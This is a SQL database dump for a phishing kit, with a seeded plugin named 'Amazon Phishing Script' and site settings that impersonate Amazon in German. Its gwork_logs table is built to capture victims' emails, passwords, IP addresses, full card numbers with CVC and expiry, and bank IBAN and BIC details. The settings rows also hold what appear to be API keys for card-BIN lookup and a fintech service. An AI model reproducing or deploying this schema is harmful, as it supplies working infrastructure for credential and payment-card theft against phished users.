XhCNYQGa

1-- ----------------------------
2-- Table structure for `gwork_logs`
3-- ----------------------------
4DROP TABLE IF EXISTS `gwork_logs`;
5CREATE TABLE `gwork_logs` (
6  `id` int(11) NOT NULL AUTO_INCREMENT,
7  `email` varchar(255) DEFAULT NULL,
8  `password` varchar(255) DEFAULT NULL,
9  `timestamp` varchar(255) DEFAULT '123456789',
10  `ip` varchar(255) DEFAULT NULL,
11  `user_agent` text,
12  `cc_firstname` varchar(255) DEFAULT NULL,
13  `cc_surname` varchar(255) DEFAULT NULL,
14  `cc_number` varchar(255) DEFAULT NULL,
15  `cc_cvc` int(11) DEFAULT NULL,
16  `cc_bank` varchar(255) DEFAULT NULL,
17  `cc_card` varchar(255) DEFAULT NULL,
18  `cc_type` varchar(255) DEFAULT NULL,
19  `cc_level` varchar(255) DEFAULT NULL,
20  `cc_country` varchar(255) DEFAULT NULL,
21  `cc_countrycode` varchar(255) DEFAULT NULL,
22  `cc_expire_month` int(11) DEFAULT NULL,
23  `cc_expire_year` int(11) DEFAULT NULL,
24  `bank_firstname` varchar(255) DEFAULT NULL,
25  `bank_surname` varchar(255) DEFAULT NULL,
26  `bank_iban` varchar(255) DEFAULT NULL,
27  `bank_bic` varchar(255) DEFAULT NULL,
28  `bank_name` varchar(255) DEFAULT NULL,
29  `payment_method` enum('none','bank','creditcard') DEFAULT 'none',
30  `sc_1` varchar(255) DEFAULT NULL,
31  `sc_2` varchar(255) DEFAULT NULL,
32  `device` enum('desktop','mobile','tablet') DEFAULT 'desktop',
33  `cc_limit` int(11) DEFAULT '0',
34  PRIMARY KEY (`id`)
35) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;
36
37-- ----------------------------
38-- Records of gwork_logs
39-- ----------------------------
40
41-- ----------------------------
42-- Table structure for `gwork_permissions`
43-- ----------------------------
44DROP TABLE IF EXISTS `gwork_permissions`;
45CREATE TABLE `gwork_permissions` (
46  `id` int(11) NOT NULL AUTO_INCREMENT,
47  `permission` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL,
48  PRIMARY KEY (`id`)
49) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
50
51-- ----------------------------
52-- Records of gwork_permissions
53-- ----------------------------
54INSERT INTO `gwork_permissions` VALUES ('1', 'ALL_PERMISSIONS');
55INSERT INTO `gwork_permissions` VALUES ('2', 'ACCESS_BY_MAINTENANCE');
56INSERT INTO `gwork_permissions` VALUES ('3', 'ACCESS_ADMIN_PANEL');
57
58-- ----------------------------
59-- Table structure for `gwork_plugins`
60-- ----------------------------
61DROP TABLE IF EXISTS `gwork_plugins`;
62CREATE TABLE `gwork_plugins` (
63  `id` int(11) NOT NULL AUTO_INCREMENT,
64  `package` varchar(255) NOT NULL,
65  `name` varchar(255) NOT NULL,
66  `version` varchar(255) NOT NULL,
67  `author` varchar(255) NOT NULL,
68  `contributors` text NOT NULL,
69  `requiredPlugins` text NOT NULL,
70  `enabled` enum('1','0') NOT NULL DEFAULT '1',
71  PRIMARY KEY (`id`,`package`)
72) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
73
74-- ----------------------------
75-- Records of gwork_plugins
76-- ----------------------------
77INSERT INTO `gwork_plugins` VALUES ('1', 'geograph.gwork.amazon', 'Amazon Phishing Script', '1.0.0', 'geograph', '', '', '1');
78
79-- ----------------------------
80-- Table structure for `gwork_plugins_event_listeners`
81-- ----------------------------
82DROP TABLE IF EXISTS `gwork_plugins_event_listeners`;
83CREATE TABLE `gwork_plugins_event_listeners` (
84  `id` int(11) NOT NULL AUTO_INCREMENT,
85  `pluginId` int(11) NOT NULL,
86  `eventName` varchar(255) NOT NULL,
87  `eventClass` text NOT NULL,
88  `listenerClass` text NOT NULL,
89  PRIMARY KEY (`id`)
90) ENGINE=InnoDB DEFAULT CHARSET=latin1;
91
92-- ----------------------------
93-- Records of gwork_plugins_event_listeners
94-- ----------------------------
95
96-- ----------------------------
97-- Table structure for `gwork_plugins_template_listeners`
98-- ----------------------------
99DROP TABLE IF EXISTS `gwork_plugins_template_listeners`;
100CREATE TABLE `gwork_plugins_template_listeners` (
101  `id` int(11) NOT NULL AUTO_INCREMENT,
102  `pluginId` int(11) NOT NULL,
103  `eventName` varchar(255) NOT NULL,
104  `templateName` varchar(255) NOT NULL,
105  `listenerClass` text NOT NULL,
106  PRIMARY KEY (`id`)
107) ENGINE=InnoDB DEFAULT CHARSET=latin1;
108
109-- ----------------------------
110-- Records of gwork_plugins_template_listeners
111-- ----------------------------
112
113-- ----------------------------
114-- Table structure for `gwork_settings`
115-- ----------------------------
116DROP TABLE IF EXISTS `gwork_settings`;
117CREATE TABLE `gwork_settings` (
118  `row` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
119  `value` text COLLATE utf8mb4_unicode_ci
120) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
121
122-- ----------------------------
123-- Records of gwork_settings
124-- ----------------------------
125INSERT INTO `gwork_settings` VALUES ('SiteName', 'Amazon');
126INSERT INTO `gwork_settings` VALUES ('Language', 'DE');
127INSERT INTO `gwork_settings` VALUES ('Template', 'Default');
128INSERT INTO `gwork_settings` VALUES ('Style', 'Default');
129INSERT INTO `gwork_settings` VALUES ('Maintenance', '0');
130INSERT INTO `gwork_settings` VALUES ('CountryAutoDetect', '0');
131INSERT INTO `gwork_settings` VALUES ('LanguagesPath', 'Application/Languages');
132INSERT INTO `gwork_settings` VALUES ('BinCodesAPIKey', '2d974e94811161f1dda14bbf63aa9790');
133INSERT INTO `gwork_settings` VALUES ('FintechToolBoxAPIKey', 'L6As-HkF7zOtYwzSYrHukfPzrI_QY2h31FKl53h54L0=');
134
135-- ----------------------------
136-- Table structure for `gwork_users`
137-- ----------------------------
138DROP TABLE IF EXISTS `gwork_users`;
139CREATE TABLE `gwork_users` (
140  `id` int(11) NOT NULL AUTO_INCREMENT,
141  `username` varchar(255) NOT NULL,
142  `mail` varchar(255) NOT NULL,
143  `password` varchar(255) NOT NULL,
144  PRIMARY KEY (`id`)
145) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
146
147-- ----------------------------
148-- Records of gwork_users
149-- ----------------------------
150INSERT INTO `gwork_users` VALUES ('1', 'Administrator', 'admin@example.com', '$2y$10$bdRUaxYP4Sa9GVW1KDWKeuHLxKFCpMfiL2kzo3ahNFq8q9RwqIzNG');
151
152-- ----------------------------
153-- Table structure for `gwork_users_bans`
154-- ----------------------------
155DROP TABLE IF EXISTS `gwork_users_bans`;
156CREATE TABLE `gwork_users_bans` (
157  `id` int(11) NOT NULL AUTO_INCREMENT,
158  `banType` enum('id','ip') NOT NULL DEFAULT 'id',
159  `value` varchar(255) NOT NULL,
160  `reason` text NOT NULL,
161  `expire` varchar(255) NOT NULL DEFAULT '123456789',
162  `addedBy` int(11) NOT NULL DEFAULT '0',
163  `timestamp` varchar(255) NOT NULL DEFAULT '123456789',
164  PRIMARY KEY (`id`),
165  KEY `value` (`value`) USING BTREE,
166  KEY `bantype` (`banType`)
167) ENGINE=InnoDB DEFAULT CHARSET=latin1;
168
169-- ----------------------------
170-- Records of gwork_users_bans
171-- ----------------------------
172
173-- ----------------------------
174-- Table structure for `gwork_users_permissions`
175-- ----------------------------
176DROP TABLE IF EXISTS `gwork_users_permissions`;
177CREATE TABLE `gwork_users_permissions` (
178  `id` int(11) NOT NULL AUTO_INCREMENT,
179  `permission` int(11) NOT NULL DEFAULT '0',
180  `userid` int(11) NOT NULL DEFAULT '0',
181  PRIMARY KEY (`id`)
182) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
183
184-- ----------------------------
185-- Records of gwork_users_permissions
186-- ----------------------------
187INSERT INTO `gwork_users_permissions` VALUES ('1', '1', '1');